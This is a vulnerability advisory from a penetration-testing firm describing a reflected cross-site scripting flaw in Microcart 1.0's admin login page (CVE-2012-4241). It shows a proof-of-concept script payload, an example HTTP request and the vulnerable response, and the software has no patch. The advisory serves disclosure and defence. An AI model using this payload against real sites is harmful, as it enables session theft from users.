Reaction Information Security

Penetration testing at its best.

Network penetration testing, web application security, firewall review, CHECK pen testing, server build review, social engineering..


Microcart 1.0 _Admin Cross-Site Scripting Security Vulnerability

Summary

Microcart 1.0 is subject to a cross-site scripting vulnerability. A generic parameter on the /_admin/index.php page was found to be subject to a cross-site scripting vulnerability. It was possible to inject arbitrary Javascript into the URL via the query string or following a ‘/’ character. This code is then passed into a form action parameter without sanitisation, and executed by the browser. Injecting the following Javascript code into a generic parameter on the /_admin/index.php page will trigger the vulnerability, causing the page to return a Javascript alert box.

  • CVE number: CVE-2012-4241
  • Impact: Medium
  • Vendor homepage: http://microcart.sourceforge.net/
  • Vendor notified: 23/07/2012
  • Vendor response: This package is no longer being maintained and has subsequently been removed from sourceforge.net
  • Credit: Chris Cooper and Joseph Sheridan of Reaction Information Security

About ReactionIS

Reaction Information Security is a leading independent pen test consultancy specialising in delivering the highest quality security testing services including network pen testing and web application security testing. As a CESG CHECK Service Provider we are authorised to carry out penetration testing on classified government networks.

Affected Products

Microcart 1.0.

Details

A generic parameter on the /_admin/index.php page was found to be subject to a cross-site scripting vulnerability. It was possible to inject arbitrary Javascript into the URL via the query string or following a ‘/’ character. This code is then passed into a form action parameter without sanitisation, and executed by the browser. Injecting the following Javascript code into a generic parameter on the /_admin/index.php page will trigger the vulnerability, causing the page to return a Javascript alert box.

"><script>alert('xsstest')</script>

Example Request:

GET /microcart/_admin/index.php/"><script>alert('xsstest')</script> HTTP/1.1
Host: 192.168.0.6
Referer: https://192.168.0.6/microcart/_admin/

Example Response:

--- SNIP ---
<div id="main">
<h2>Login</h2>
<p>Please enter your credentials to continue.</p>
<form action="/microcart/_admin/index.php/"><script>alert('xsstest')</script>"
method="post"> <table>
<tr><th>Username:</th><td><input type="text" name=
"username" /></td></tr>
<tr><th>Password:</th><td><input type="password" name=
"password" /></td></tr>
<tr><td colspan="2"><input type="submit" name=
"login" value="Login" /></td></tr>
</table>
</form> </div>
--- SNIP ---


Impact

An attacker might entice users to follow a malicious URL, causing Javascript code to execute in their browser, potentially stealing session cookies, redirecting the user to a malicious URL or downloading malware onto their machine.

Solution

The affected product is not under active development and, at the time of writing, no patch has been released by the vendor.

Distribution

In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.

  • bugtraq () securityfocus com
  • full-disclosure () lists grok org uk

Future updates of this advisory, if any, will be placed on the ReactionIS website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the current page for any updates.

Get a Quote Online

Submit your testing requirements online and one of the team will get right back to you.

Penetration Testing Services

Firewall reviews, database audits, code reviews, social engineering and more..

Application Security

Ensure your web and mobile apps are safe from attack.

Read more